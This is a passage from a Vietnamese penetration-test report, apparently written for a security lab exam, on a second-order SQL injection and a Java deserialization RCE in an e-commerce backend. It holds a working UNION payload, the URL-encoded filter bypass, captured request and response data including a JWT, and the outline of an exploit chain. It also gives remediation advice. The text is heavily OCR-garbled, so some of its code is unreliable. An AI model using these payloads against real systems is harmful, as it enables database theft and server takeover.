parameterized query hoac allowlist phi hop, attacker cé thé thay d&i cau tric cau SQL dugc thuc
thi.

Pay la dang Second-order SQL Injection, vi payload khéng nhat thiét dugc thuc thi ngay tai
request tao bo loc, ma dugc luu trong database trudc va chi dugc kich hoat khi bd loc dé dugc ap
dung.

L6 hdng nay c6 thé cho phép attacker truy xuat di liéu ngoai pham vi du kién, kiém tra cau tric
database, doc di liéu nhay cam tur cac bang khac, thuc hién time-based SQL Injection hoac gay
anh hudng dén tinh toan ven va kha dung cla dit liéu tly theo quyén cta database account.

2.5.2 Root Cause

PAu tién, API tao bd loc sdn pham nhan truc tiép dit liéu JSON request tu seller thdng qua
SavedProductFilterRequest
tai: backend/source/src/main/java/com/cbjs/ximiplace/controller/SellerProductFilterCo

ntroller. java

aPostMapping
public ResponseEntity<SavedProductFilterResponse> createFilter(
aValid @aRequestBody SavedProductFilterRequest request

)|

return ResponseEntity.ok(
savedProductFilterService.createFilter(request)

)

Trong SavedProductFilterRequest, cac trudng nhu keyword, sortBy va sortDir la di liéu
dang chudi do ngudi ding kiém
soat: backend/source/src/main/java/com/cbjs/ximiplace/dto/product/SavedProductFilterR

equest. java

private String keyword;
private Long categoryld;

@aPositiveOrZero
private BigDecimal minPrice;

@aPositiveOrZero
private BigDecimal maxPrice;

private ProductStatusEnum status;
private Boolean inStock;

private String sortBuy;
private String sortDir;
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Cac trudng sé nhu categoryId, minPrice va maxPrice dudc parse thanh kiéu di liéu Java
tuong Ung nén khé dudc s dung truc tiép dé chén chudi SOL tuy y. Ngudc lai, keyword, sortBy
va sortDir lacac gidtri String, trong d6 sortBy va sortDir khdng cd allowlist gigi han tén
cot hoac chiéu sap xép hap é.

Khi tao bd loc, SavedProductFilterService goi sanitizeText() trudc khiluu cac gia tri chudi
vao
database: backend/source/src/main/java/com/cbjs/ximiplace/service/SavedProductFilter

Service. java

SavedProductFilter filter = SavedProductFilter.builder()
.name(sanitizeText(request.getName()))
.keyword(sanitizeText(request.getkKeyword()))
.categoryId(request.getCategoryId())
.minPrice(request.getMinPrice())
.maxPrice(request.getMaxPrice())
.status(request.getStatus())
.inStock(request.getInStock())
.sortBy(sanitizeText(request.getSortBy()))
.sortDir(sanitizeText(request.getSortDir()))
.store(store)

.build();

return toResponse(
savedProductFilterRepository.save(filter)

)

Cac gia tri nay dugc luu vao entity SavedProductFilter, tuong ing vdi bang
saved_product_filters trong
database: backend/source/src/main/java/com/cbjs/ximiplace/entity/SavedProductFilter.

java

@Column(name = "keyword", columnDefinition = "nvarchar(max)™)
private String keyword;

aColumn(name = "sort_by", length = 100)
private String sortBuy;

@Column(name = "sort_dir", length = 10)
private String sortDir;

Diéu nay tao ra yéu td “stored” clia Second-order SQL Injection, vi payload dudc luu trong
database trudc khi dudc sit dung dé xay dung cau SQL.

Ung dung c6 trién khai method sanitizeText() vé&i muc dich loc mot s6 chudi nguy hiém:

private String sanitizeText(String value) {
if (!StringUtils.hasText(value)) {
return value;

}



String dangerouslllords =
"(?i) .*\\b(INSERT|DELETE | DROP | TRUNCATE |NOT |ALTER| CREATE) \\b.*";

if (value.matches(dangerousWords)) {
throw new BadRequestException("Invalid filter name");

}

return value
.replooe("'", nn)
.I‘eplGCe(";", vvn);

}

Tuy nhién, cd ché nay khdng du an toan vi st dung blacklist va thay thé ky tu thay vi

parameterized query. Blacklist chi chdn mét sd ti khéa nhu INSERT, DELETE, DROP, TRUNCATE,
NOT, ALTER va CREATE, nhung khdng chin nhiéu thanh phan SQL khac cé thé dudc st dung dé
khai thac nhu SELECT, UNION, OR, AND, CASE, WHEN, WAITFOR, DELAY, ORDER BY hodc EXEC.

Ngoai ra, method nay chi xéa dau nhay don va dau chdm phay & dang ky tu truc tiép:

.replace("'", un)
.replace(";", un)

Néu attacker URL-encode cac ky tu nguy hiém trudc khi glii request, vi du %27 thay cho dau
nhay don hodc %3B thay cho dau chadm phay, thi tai thdi diém sanitizeText() dudc thuc thi,
cac ky tu nay van chua dugc decode nén khéng bi loai bd.

Sau khi payload dudgc luu vao database, endpoint ap dung bd loc sé doc lai gia tri nay
tai: backend/source/src/main/java/com/cbjs/ximiplace/controller/SellerProductFilterCo

ntroller. java

aGetMapping("/{filterId}/products")

public ResponseEntity<List<ProductSummaryResponse=>>

listProductsByFilter(@aPathVariable Long filterId) {
return ResponseEntity.ok(

savedProductFilterService.listProductsByFilter(filterId)
)

Service trudc tién |4y bd loc thudc cilra hang hién tai:

Store store = getCurrentStore();

SavedProductFilter filter =
savedProductFilterRepository
.findByIdAndStoreId(filterId, store.getId())
.orElseThrow(() ->
new NotFoundException(
"Saved filter not found”
)

Sau dé, cac trudng chudi dudc truyén qua decodeValue() :



String keyword = decodeValue(filter.getKeyword());
String sortBy = decodeValue(filter.getSortBy()):
String sortDir = decodeValue(filter.getSortDir());

Method decodeValue() sUdung URLDecoder.decode() :

private String decodeValue(String value) {
if (IStringUtils.hasText(value)) {
return value;

}

return URLDecoder.decode(
value,
StandardCharsets.UTF_8

)

Pay la mot 16i quan trong trong ludng x ly dit liéu. Viéc decode dudc thuc hién sau budc
sanitize, lam khdi phuc lai cac ky tu nguy hiém ma sanitizeText() du dinh loai bd.

Vidu:

Gid tri attacker gli: %27
Sau sanitizeText(): %27
Sau khi lwu database: %27
Sau decodeValue(): '

Gid tri attacker gli: %3B
Sau sanitizeText(): %3B
Sau khi lwu database: %3B

Sau decodeValue(): 2

Sau khi decode, ting dung st dung StringBuilder dé xay dung native SQL query bang cach ndi
chudi truc tiép:

StringBuilder sqlBuilder = new StringBuilder();

sqlBuilder.append(
"SELECT p.id, p.name, p.sku, p.slug, p.image_path, " +
"p.price, p.sale_price, p.stock, p.rating, p.status, " +
"c.name AS category_name, s.name AS store_name " +
"FROM products p " +
"LEFT JOIN categories c¢ ON p.category_id = c.id " +
"LEFT JOIN stores s ON p.store_id = s.id " +
"WHERE p.store_id = "

) .append(store.getId());

DGi véi trudng keyword, dif liéu da decode dudc dat truc tiép bén trong chudi SQL:
if (StringUtils.hasText(keyword)) {
String keywordLike =

"%" + keyword.trim() + "%";

String condition =



" AND (LOWER(p.name) LIKE '" + keuwordLike + "'" +
" OR LOWER(p.slug) LIKE '" + keywordLike + "'" +
" OR LOWER(p.sku) LIKE '" + keywordLike + "')";

sqlBuilder.append(condition);
1

Do keywordLike dudc ndi truc tiép gilta cac dau nhay don, attacker c6 thé st dung ky tu quote
da dugec URL-encode dé thoat khai string literal va chén thém biéu thiic SQL.

Diém injection rd rang hon ndm & ménh dé oRDER BY . Ung dung |y truc tiép sortBy va
sortDir tU dif liéu da luu, sau do néi vao cau SOL:

String orderBy =
StringUtils.hasText(sortBy)
? sortBy
o "id"y

String direction =
StringUtils.hasText(sortDir)
? sortDir
"asc";

sqlBuilder
.append("” ORDER BY ")
.append(orderBy)
.append(" ")
.append(direction);

Ca sortBy va sortDir déu dudc ndi truc tiép vao cau SOL ma khong cé allowlist. Ung dung
dang |& chi nén chap nhan mot tap hitu han cac cét hdp lé nhu id, name, price, sale_price,

stock, rating, created_at,va sortDir chinén nhan ASC hodc DESC.

Tuy nhién, source code hién tai chap nhan bat ky chudi nao dudc luu trong hai trudng nay. Vi di
liéu dugc dat ngoai string literal trong ménh dé ORDER BY, attacker c6 thé chén SQL expression,
comment, subquery hoac phan con lai ciia SQL statement.

Cudi cung, chudi SQL hoan chinh dugc truyén truc tiép vao

EntityManager.createNativeQuery() :

Query query = entityManager.createNativeQuery(
sqlBuilder.toString()
)

aSuppressWarnings("unchecked™)
List<Object[]> content = query.getResultlList();

createNativeQuery() la SQL Injection sink trong ludng nay. Hibernate va JPA khong tu déng
parameterize mét cAu SQL da dudc ling dung xay dung hoan chinh bang string concatenation.

Cau tric query dudc thuc thi cé dang tuong tu:



SELECT

.id,

.name,

.sku,

.slug,
.image_path,
.price,

©

.sale_price,
.stock,
.rating,
.status,
.name AS category_name,
.name AS store_name
FROM products p
LEFT JOIN categories c
ON p.category_id = c.id
LEFT JOIN stores s
ON p.store_id = s.id
IWHERE p.store_id = <storeId>
AND (
LOWER(p.name) LIKE '%<keyword=>%'
OR LOWER(p.slug) LIKE '%<keyword>%'
OR LOWER(p.sku) LIKE '%<keyword>%"

w O O O T T T T T T T

)

ORDER BY <sortBy> <sortDir>

CAc vi tri <keyword>, <sortBy> va <sortDir> déu c6 ngudn goc ti dif liéu do ngudi dung kiém
soat. Trong do, <keyword> dudc ndivao SQL string literal, coOn <sortBy> va <sortDir> dudc ndi
truc tiép vao cu phap SOL.

Do d6, nguyén nhan chinh cta 16 héng & ¢ing dung tin tudng cac gia tri keyword, sortBy va
sortDir tU saved filter, st dung blacklist d& chéng SQL Injection, thuc hién URL decoding sau
khi sanitize, khdng cé allowlist cho tén cot va chiéu sap xé&p, dong thdi xay dung native SQL
query bang string concatenation roi truyén tryc tiép vao EntityManager.createNativeQuery()
thay vi str dung bind parameter.

Su két hop clia cac van dé trén cho phép attacker luu SQL payload théng qua API tao b6 loc va
kich hoat payload khi goi endpoint /api/vi/seller/product-filters/{filterId}/products,
dan dén Second-order SQL Injection.

2.5.3 Preconditions

L6 hdng nay yéu cau tai khoan da dang nhap va cé role SELLER, vi endpoint bi &nh hudng chi
danh cho seller.

Trong trudng hop khai thac déc lap, attacker can cé san tai khoan SELLER.

biéu kién nay dat dugc thdng qua cac budc trudc dd: attacker khai thac Stored XSS tai XPE-01-
002 dé Ay admin JWT access token (thdng qua viéc report order cho admin sau d6 bot doc va
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gl JWT access token ctia admin vé webhook ctia minh), sau dé st dung quyén admin dé thay
d6i role tai khodn ctia minh thanh SELLER.
2.5.4 Steps to reproduce

Step 1: Tiép tuc sif dung AccountA (Hién tai da dugc lén role SELLER do da dudgc chinh &
trudc) va truy cap trong Kénh nguwei ban

e XimiPlace Q  Tim san phdm, thudng hiéu, clia hang... = o €. hichic
Xin chdo, hichic

. S & Hé sd cua téi
% MGi: Flash sale 12h moi ngay

Mua sam thong minh, fis

giao nhanh moi nhgay. N

Hana triéu san phdm chinh hana tif cac nha ban uv tin. Trai
Step 2: Truy cap vao trang San phdm dé tao bd loc mdi véi tif khéa la payload SQLI
SU dung payload SQLI nhu sau:

") UNION ALL SELECT 1,aaversion, 'test','test',NULL,CAST(® AS decimal(19,2)),CAST(O AS
decimal(19,2)),0,CAST(0 AS float),NULL, "test', 'test' -- -

Vi hién tai cau query dang co6 dang:

SELECT p.id, p.name, p.sku, p.slug, p.image_path, p.price, p.sale_price, p.stock,
p.rating, p.status, c.name AS category_name, s.name AS store_name FROM products p
LEFT JOIN categories ¢ ON p.category_id = c.id
LEFT JOIN stores s ON p.store_id = s.id
IWHERE p.store_id = <storeId>

AND (LOWER(p.name) LIKE '%<keyword>%') ....

Nén néu ghép gia tri payload vao thj sé& nhu thé nay:

SELECT p.id, p.name, p.sku, p.slug, p.image_path, p.price, p.sale_price, p.stock,
p.rating, p.status, c.name AS category_name, s.name AS store_name FROM products p
LEFT JOIN categories ¢ ON p.category_id = c.id
LEFT JOIN stores s ON p.store_id = s.id
IWHERE p.store_id = <storeId=>

AND (LOWER(p.name) LIKE '%')
UNION ALL SELECT 1,a@aversion, 'test', 'test’',NULL,CAST(O AS decimal(19,2)),CAST(0O AS
decimal(19,2)),0,CAST(0 AS float),NULL, "test’, "test’ -- -%")

Muc dich la cGia UNION la dé |3y thém dir liéu ghép vao query hién tai (va diéu kién d& UNION
thanh céng & trudc va sau UNION phaicd clng sé cdt, kiéu dif liéu). Cho nén mdi cé nhitng di
liéu test vdilai NULL & dang sau. Va hién tai thi do store méi dudc tao va khdng cé product nén
l& k&t qua xuat hién chi & phan dang sau UNION.


af://h3-29

Tiép tuc encode URL toan bd payload trudc khi nhap bd vao 6 Tir khoa

527%29%20%55%4e
6T%6e%2c%27%74
1%53%20%64%65%
%63%69%6d%61%6¢
74%29%2c%4e%55

°

A1%4c%4c%20%53%45%4c%A45%43%54%20%31%2Cc%40%40%76%065%72%7 3%69%

2C%27%74%65%73%74%27%2c%4e%55%4Cc%4c%2Cc%43%41%53%54%28%30%20%4
6c

%

74%65%73%74%27%2C%27%74%65%7 3%74%27%20%2d%2d%20%2d

%28%31%39%2C%32%29%29%2c%43%41%53%54%28%30%20%41%53%20%64%65
32%29%29%2¢%30%2c%43%41%53%54%28%30%20%41%53%20%66%06c%6 T%61%

Do hién tai bén BE validate trudc khi decode nén la néu néu di liéu dugc encode trudc thi sé cd

thé bypass dugc validate

Quan ly

98 Téng quan

San phém

Quan ly san phdm cuia cifa hang ban

+ Thém san pham

® San phédm
& Bon hang B6 loc san phém
& Cula hang Tif khod Danh muc Trang thdi
Q %27%29%20%55%4e%49 % 4T % b4e" Tatca v Tat ca v
Gid t6i thidu Gid t6i da Ton kho Sap xép theo
Tdtca v Mac dinh v
Thif ty
Giam déan

Luu bé loc hién tai

version

/ Bé loc da luu

Xoa bo loc
Step 3: St dung bd loc d6 dé query

Luu b6 loc hién tai

Tén bd loc...

Xod bé loc

K&t qua dudc tra ra nhu sau:

Bé loc da lvu

— Khéng dang — v

~ — Khdéng diang —

\ version



Trang Ba banh

San pham Gid thi ban gid Hanh déng
fi . Bang 0.0
4 Microsoft SQL... od ban 0 ) V4 TaT
= =
Request Response
Pretty Raw Hex N n = Pretty Raw Hex Render = \n =
1|GET /api/vl/seller/product-filters/24/products?page 1 HTTP/1.1 200
=0&size=10 HTTP/1.1 2 Server: nginx/1.31.2
2 Host: ximiplace.exam.cyberjutsu-lab.tech 3 Date: Sat, 20 Jun 2026 14:53:46 GMT
3 Authorization: Bearer 4 Content-Type: application/json
eyJhbGci01JIUzUxM1J9 . ey)yb2x11joiUBVMTEVSIiwiaWQi0jQ3 | 5 Connection: keep-alive
LCJzdWIi0iJhY2NvdW50YSIsImlhdCIEMTc4MTk2N] Yx0CwiZXhw | 6 Vary: Origin
IjoxNzgyMDUzMDE4TQ. hFs5h3Zxwb_GHAkDhvs1_0DJLOLP40SIC 7 Vary: Access-Control-Request-Method
MQgiD3Mk8GWN33T j6Btnhxp7nzlbkELTG_XKE_apNFgiby TMwpGF | & Vary: Access-Control-Request-Headers
A 9 X-Content-Type-Options: nosniff
4 Accept-Language: en-US,en;g=0.9 10 X-XS5-Protection: @
5 Accept: application/json, text/plain, */* 11 Cache-Control: no-cache, no-store, max-age=@,
6 User-Agent: Mozilla/5.@ (X11; Linux x86_64) must-revalidate
AppleWebKit/537.36 (KHTML, like Gecko) 12 Pragma: no-cache
Chrome/144.0.2.0 Safari/537.36 13 Expires: @
7 Referer: 14 X-Frame-Options: DENY
http://ximiplace.exam.cyberjutsu-lab.tech/seller/pro 15 Content-Length: 376
ducts 16
2 Accept-Encoding: gzip, deflate, br 17 [
9 Cookie: ximi_token= {
eyJhbGci0iJIUzUxMiJ9. ey)yb2x1IjoiU@VMTEVSIiwiawQin Q3 "id":1,
LCJzdWIi0iJhY2NvdWS0YSISIM1hdCIBMTc4MTk2N] Yx0CwiZXhw "name";
IjoxNzgyMDUzMDE4TQ.hFs5h3Zxwb_GHAkDhvs1_0DJLOLP40SZC "Microsoft SQL Server 2022 (RTM-CU25) (KB5@81477)
MQgiD3MkBGWN33Tj6Btnhxp7nzl1bkELTG_XKE_apNFqi6y TMwpGF - 16.0.4255.1 (X64) \n\tApr 23 2026 22:38:54 \n\t
A Copyright (C) 2822 Microsoft Corporation\n\tDevel
10 Connection: keep-alive oper Edition (64-bit) on Linux (Ubuntu 22.04.5 LTS
11 ) _<X64>",
12 "sku":"test",
"slug":"test",
"imagePath" :null,
"price":0.00,
"salePrice":0.00,
"stock™:@,
"rating”:0.@,

"status":null,
"categoryName":"test",
"storeName":"test”

K&t qua: Da thanh céng lay dudc version hién tai clia database, ching té chiic nang hién tai dang
bi SQLI

2.5.5 Remediation

Ung dung can loai bd hoan toan viéc xay dung cau SQL bang cach ndi chudi ti dif liéu do ngusi
ding kiém soat. Cac gia tri nhu keyword, sortBy va sortDir khdng nén dugc dua truc tiép vao
native SQL query.
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Bién phap quan trong nhat & st dung parameterized query hodc cac co ché query an toan nhu
JPA Criteria API, Spring Data JPA Specification hodc QueryDSL. D&i véi cac gia tri dif liéu nhu
keyword, categoryId, status, minPrice VA maxPrice, ng dung can truyén vao query théng
qua bind parameter thay vi néi truc tiép vao chudi SOL.

Vi du, khdng nén xay dung diéu kién tim kiém bang cach ndi chudi nhu sau:

String condition =
" AND (LOWER(p.name) LIKE '" + keywordLike + "'" +
" OR LOWER(p.slug) LIKE '" + keywordLike + "'" +
" OR LOWER(p.sku) LIKE '" + keywordLike + "')";

Thay vao do, nén st dung bind parameter:

sqlBuilder.append(
" AND (LOWER(p.name) LIKE :keyword " +
" OR LOWER(p.slug) LIKE :keyword " +
" OR LOWER(p.sku) LIKE :keyword)"

)

Query query = entityManager.createNativeQuery(sglBuilder.toString());
query.setParameter("keyword”, "%" + keyword.trim().tolLowerCase() + "%");

PGi v3i sortBy va sortDir, khdng thé bind parameter truc tiép cho tén cot hoic keyword SQL
nhu ASC/ DESC . Vi vy, Ung dung can ap dung allowlist nghiém ngit.

Vi du, chi cho phép sort theo cac c6t hgp Lé:

Map<String, String> allowedSortColumns = Map.of(

"id", "p.id",

"name", "p.name",

"price", "p.price",
"salePrice"”, "p.sale_price”,
"stock", "p.stock",
"rating”, "p.rating”,
"createdAt", "p.created_at"

)

String orderBy = allowedSortColumns.getOrDefault(sortBy, "p.id");
Véi chiéu sap xép, chi nén chap nhan ASC hodc DESC:

String direction =
"desc".equalsIgnoreCase(sortDir)
? "DESC"
"ASC" ;

Sau d6 mdi ndi vao ménh dé ORDER BY bang cac gia tri da dugc kiém soat:

sqlBuilder
.append(” ORDER BY ")
.append(orderBy)



.append(" ™)
.append(direction);

Ung dung khdng nén dua vao blacklist hodc viéc xéa ky tu nhu ddu nhay don va dau cham phay
dé chdng SOQL Injection. Cac cd ché nhu sau can dugc loai bd khoi vai trd bao vé chinh:

.I‘eplClce("'", nvv)
.replace(";", "")

Blacklist cling khong nén dugc dung [am bién phap chdng SOQL Injection, vi attacker cd thé s
dung céc cu phap hoic encoding khac dé bypass. Viéc loc input chi nén dudc xem a defense-in-
depth, khdng thay thé cho parameterized query va allowlist.

Ngoai ra, can xU ly lai thi tu decode va validation. Néu (ng dung can hé trg URL-encoded input,
d{ liéu phai dugc decode trudc, sau dé mdi validate theo allowlist hodc schema hgp lé. Khong
nén sanitize trudc réi decode sau, vi diéu nay cé thé khdi phuc lai cac ky tu nguy hiém sau khi di
liéu da vugt qua budc kiém tra.

Déi véi chiic nang luu bd loc, nén gidi han gia tri hgp L& ngay tir thdi diém tao hoac cap nhat filter.
Vidu:

sortBy chi dudc nhan cac gia tri nam trong danh sach cét dugc phép.
sortDir chidudc nhan asc hoac desc.
keyword nén dugc xem [& dif liéu thuan tly va chi dudc dua vao query qua bind parameter.

Khéng luu cac gia tri da dugc encode hodc bién déi khéng rd rang vao database.
Sau khi khac phuc, can b& sung test case cho ca hai giai doan ctia Second-order SQL Injection:

POST /api/vl/seller/product-filters
GET /api/vl/seller/product-filters/{filterId}/products

CAc test case nén bao gom:

Payload SQL trong keyword khéng l[am thay d6i cau tric cau SQL.
Payload URL-encoded nhu %27, %3B khdng thé bypass validation.
sortBy chichap nhan céc gia tri nam trong allowlist.

sortDir chichap nhan ASC hodc DESC.

Cac payload nhu UNION SELECT, OR 1=1, WAITFOR DELAY, comment SQL hoac subquery
trong sortBy/ sortDir bitl chéi.

Endpoint &p dung saved filter khong thuc thi SQL ngoai cau tric query du kién.

Tém lai, hudng khac phuc chinh la thay thé string concatenation bang parameterized query, ap
dung allowlist cho cac phan khdng thé bind parameter nhu ORDER BY, decode dif liéu trudc khi



validate, va khéng st dung blacklist nhu mét co ché chéng SQL Injection.

2.6 XPE-01-006: Insecure Java Deserialization at

[api/vl/checkout

2.6.1 Description and Impact

Ung dung ton tai 16 hdng Insecure Java Deserialization trong qua trinh ap dung voucher tai
endpoint POST /api/vl/checkout .

Khi ngudi dung checkout véi mot voucherCode , backend tim voucher tucong Uing trong database.
N&u voucher d6 c6 trudng rule_blob, Ung dung sé |4y gia tri nay, Base64-decode va deserialize
bang ObjectInputStream.

Van dé nam & viéc di liéu serialized trong vouchers.rule_blob dugc deserialize ma khéng cé
ObjectInputFilter, class allowlist hoac gigi han object graph an toan trudc khi goi
readObject() . Sau khi deserialize, (ing dung tiép tuc goi calculate() trén object nhan dudc.

Trong source code, Ung dung c6 class ExternalCampaignVoucherRule trién khai
VoucherDiscountRule . Class nay chita céc field dung dé xay dung command va thuc thi théng
qua ProcessBuilder . Vi Java serialization cé thé khéi phuc truc tiép cac private field ti
serialized stream, attacker khong can setter dé thiét |ap cac gia tri nay.

Attacker khéng gui serialized payload truc tiép trong request checkout. Request checkout chi
chlta voucherCode . Trong attack chain da xac nhan, attacker c6 thé lgi dung SQL Injection tai
XPE-01-005 dé ghi Base64 Java serialized object vao vouchers.rule_blob, sau d6 goi
checkout véi voucher tuong (ing dé kich hoat qua trinh deserialize.

L6 héng nay c6 thé dan dén Remote Code Execution vdi quyén cla process dang chay ing dung
Java. Attacker cé thé doc file ciu hinh, &y bién méi trudng, danh cap database credentials ho&c
JWT secret, truy cap dich vu ndi bd, thay déi dit liéu, gay tir chéi dich vu hodc chiém quyén kiém
soat ung dung.

2.6.2 Root Cause

L6 héng nay ban dau dudc xac dinh thong qua kiém thit black-box va sau d6 dugc xac nhan lai
bang source code review.

Pau tién, endpoint checkout nhan JSON request thdng qua CheckoutRequest
tai: backend/source/src/main/java/com/cbjs/ximiplace/controller/CheckoutController. ja

va
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aPostMapping
public ResponseEntity<OrderResponse> checkout (
aValid aRequestBody CheckoutRequest request

)

Long userId = currentUserService.getCurrentUserId();
return ResponseEntity.ok(
checkoutService.checkout(userId, request)

)

Request checkout cé trudng voucherCode , dugc ding dé xac dinh voucher can ap

dung: backend/source/src/main/java/com/cbjs/ximiplace/dto/order/CheckoutRequest. java

aSize(max = 255)
private String voucherCode;

Piém can nhan manh la attacker khdng truyén serialized object truc tiép trong request checkout.
Request chi chlfa voucherCode . Serialized payload nam trong trudng rule_blob cla voucher
tuang Ung trong database.

Trong CheckoutService, gid tri voucherCode dudc truyén dén
CheckoutVoucherService.applyVoucher() : backend/source/src/main/java/com/cbjs/ximipl

ace/service/CheckoutService. java

CheckoutVoucherService.VoucherApplyResult voucherApplyResult =
checkoutVoucherService.applyVoucher(
request.getVoucherCode(),
preparedItems.subtotal(),
shippingFee,
preparedItems.storelds()
Js

Tai CheckoutVoucherService , backend tim voucher dua trén code do nguai dung cung
Cép:backend/source/src/main/java/com/cbjs/ximiplace/service/CheckoutVoucherService.

java

\Voucher voucher = voucherRepository
. findByCodeIgnoreCase(voucherCode.trim())
.orElseThrow(() ->
new BadRequestException(
"Voucher does not exist"”

)
)

Sau dd, service kiém tra trang thai, thdi gian hét han va sé lan st dung ctia voucher:

if (voucher.getStatus() != VoucherStatusEnum.ACTIVE) {
throw new BadRequestException(
"Voucher is not active"”

);



if (voucher.getExpiredAt() != null
&& voucher.getExpiredAt().isBefore(now)) {
throw new BadRequestException(
"Voucher has expired”

)

if (voucher.getMaxUsage() != null
&& voucher.getUsage() >= voucher.getMaxUsage()) {
throw new BadRequestException(
"Voucher usage limit reached”

)

Cac kiém tra trén chi xac nhan voucher cé thé dudc st dung. Ching khdng kiém tra tinh an toan,
nguodn goc hodc class hap & cla serialized rule nam trong rule_blob.

Néu voucher c6 ruleBlob, service truyén tryc tiép gia tri nay vao logic xtt ly legacy rule:

if (StringUtils.hasText(voucher.getRuleBlob())) {
return evaluatelegacyRule(
voucher.getRuleBlob(),
subtotal,
shippingFee,
storelds,
now

)

Trudng ruleBlob dudc luu trong entity Voucher, tuong Ung vGi cOt vouchers.rule_blob trong

database: backend/source/src/main/java/com/cbjs/ximiplace/entity/Voucher. java

aColumn(
name = "rule_blob",
columnDefinition = "nvarchar(max)"
)

private String ruleBlob;

Trong method evaluateLegacyRule(), gid tri ruleBlob |dy tif database dudc truyén truc tiép

vao LegacyVoucherRuleCodec.deserializeFromBase64() :

private DiscountResult evaluatelegacyRule(
String encodedRule,
BigDecimal subtotal,
BigDecimal shippingFee,
Set<Long> storelds,
LocalDateTime now

try {
VoucherDiscountRule rule =
LegacyVoucherRuleCodec
.deserializeFromBase64(encodedRule);



VVoucherRuleResult result =
rule.calculate(
new VoucherRuleContext(
subtotal,
shippingFee,
storelds,
now

)

return new DiscountResult(
safeAmount (result.discount()),
safeAmount (result.shippingFee())
J:
} catch (IOException
| ClassNotFoundException

| IllegalArgumentException ex) {
throw new BadRequestException(
"Voucher rule archive is invalid”
J;
} catch (Exception e) {
throw new BadRequestException(
"VVoucher rule failed to execute”

)

Quaé trinh deserialize ndm trong LegacyVoucherRuleCodec

tai: backend/source/src/main/java/com/cbjs/ximiplace/service/voucher/rule/LegacyVouch

erRuleCodec. java

public static VoucherDiscountRule deserializeFromBase64(
String encodedRule

) throws IOException, ClassNotFoundException {

byte[] bytes =
BasebB4.getDecoder() .decode(encodedRule) ;

try (ObjectInputStream input =
new ObjectInputStream(
new ByteArrayInputStream(bytes)

))
Object value = input.readObject();
if (!(value instanceof VoucherDiscountRule rule)) {

throw new IOException(
"Voucher rule archive has invalid type”

)

return rule;

Root cause truc tiép nam tai dong:



Object value = input.readObject();

Ung dung goi ObjectInputStream.readObject() trén di liéu lay ti database nhung khdng ap
dung céc co ché bao vé nhu:

ObjectInputFilter

Class allowlist

Custom ObjectInputStream.resolveClass()
Maximum depth

Maximum references

Maximum array size

Maximum stream size

Viéc Base64-decode khdng phai [& bién phap bado mat. Base64 chi [ co ché encoding, attacker
van co thé tu tao serialized object roi encode lai thanh Base64 trudc khi ghi vao

vouchers.rule_blob.
Poan kiém tra type sau khi deserialize cling khong du dé ngan 16 héng:

if (!(value instanceof VoucherDiscountRule rule)) {
throw new IOException(
"Voucher rule archive has invalid type"”

)

Ly do & readobject() da dugc goi trude khi kiém tra instanceof . Trong Java deserialization,
object graph va cac class lién quan da dugc khai tao trong qua trinh readobject() . Vi vay, néu
c6 class nguy hiém hoac gadget chain phu hgp, code c6 thé dudc thuc thi trudc khi ing dung
kiém tra kiéu object tra vé.

Ngoai rui ro tU qua trinh deserialization, ng dung con chi dong goi calculate() trén object vira
dudc deserialize:

VVoucherRuleResult result =
rule.calculate(
new VoucherRuleContext(
subtotal,
shippingFee,
storelds,
now

Interface VoucherDiscountRule k& thifa Serializable, cho phép cac implementation cla né
dudc serialize va
deserialize: backend/source/src/main/java/com/cbjs/ximiplace/service/voucher/rule/Vouc

herDiscountRule. java



public interface VoucherDiscountRule
extends Serializable {

VoucherRuleResult calculate(

)

VVoucherRuleContext context

Ung dung cé mdt implementation nguy hiém la

ExternalCampaignVoucherRule : backend/source/src/main/java/com/cbjs/ximiplace/servic

e/voucher/rule/ExternalCampaignVoucherRule. java

public class ExternalCampaignVoucherRule
implements VoucherDiscountRule {

private
private
private
private
private
private

Cac field nhu

String interpreterPath;
String campaignScriptPath;
List<String> arguments;
BigDecimal fallbackDiscount;
boolean waitForCompletion;
long timeoutMillis;

interpreterPath, campaignScriptPath va arguments la private field. Tuy nhién,

diéu nay khéng ngan Java serialization khdi phuc gia tri cia ching tl serialized stream. Khi

object dugc deserialize, cac private field c6 thé dugc phuc hoi truc tiép tir dif liéu serialized ma

khéng can goi setter.

Trong ExternalCampaignVoucherRule.calculate(), Ung dung goi runCampaignScript() :

alverride

public VoucherRuleResult calculate(
VoucherRuleContext context

)

runCampaignScript (context);

BigDecimal discount =

fallbackDiscount == null
? BigDecimal.ZERO
fallbackDiscount;

BigDecimal shippingFee =

context.shippingFee() == null
? BigDecimal.ZERO
: context.shippingFee();

return new VoucherRuleResult(

)

discount,
shippingFee

Method runCampaignScript() xay dung command tif cac field nam trong serialized object:



List<String> command = new ArraylList<>();

command.add(interpreterPath) ;
command . add(campaignScriptPath) ;

if (arguments != null) {
command . addAll(arguments) ;

}

Cudi cung, application server thuc thi command bang ProcessBuilder.start() :

ProcessBuilder builder =
new ProcessBuilder(command);

builder.environment().put(
"XIMI_SUBTOTAL",
safe(context.subtotal())

builder.environment().put(
"XIMI_SHIPPING_FEE",
safe(context.shippingFee())

builder.environment().put(
"XIMI_STORE_IDS",
context.storeIds() == null
o nn

: context.storeIds().toString()
J;

Process process = builder.start();

builder.start() l& command execution sink trong attack chain nay. Néu attacker kiém soat
dudgc serialized object clla ExternalCampaignVoucherRule, cac field nhu interpreterPath,
campaignScriptPath va arguments cd thé diéu khién command dugc thuc thi bdi server.

Trong attack chain da xac nhan, SQL Injection tai XPE-01-005 dudc st dung dé ghi Base64 Java
serialized object vao vouchers.rule_blob . Sau do, attacker goi endpoint checkout vdi
voucherCode tuang (ing dé kich hoat qua trinh deserialize.

Ludng khai thac co thé tém tat nhu sau:

SQL Injection tqi saved product filter
-> ghi serialized payload vdao vouchers.rule_blob
-> goi POST /api/vl/checkout véi voucherCode
-> backend doc rule_blob
-> Base64 decode
-> ObjectInputStream.readObject()
-> deserialize thanh VoucherDiscountRule
-> goi rule.calculate()
-> ExternalCampaignVoucherRule.runCampaignScript()



-> ProcessBuilder.start()
-> Remote Code Execution

Cac exception handler sau khong thé ngdn command execution:

catch (Exception e) {
throw new BadRequestException(
"Voucher rule failed to execute”

)
1
NEéu ProcessBuilder.start() da dudc goi thanh cdng, command cé thé da chay trudc khi
exception dugc bat hoac HTTP error dudc tra vé.

Do dd, nguyén nhan chinh cta 6 héng [ backend deserialize Java object tif trudng database ¢
thé bi attacker kiém sodt ma khéng ap dung class allowlist, ObjectInputFilter hodc gidi han
object graph. Anh hudng dudc khuéch dai bai viéc ing dung chifa va goi
ExternalCampaignVoucherRule.calculate() , cho phép di liéu trong serialized object di dén
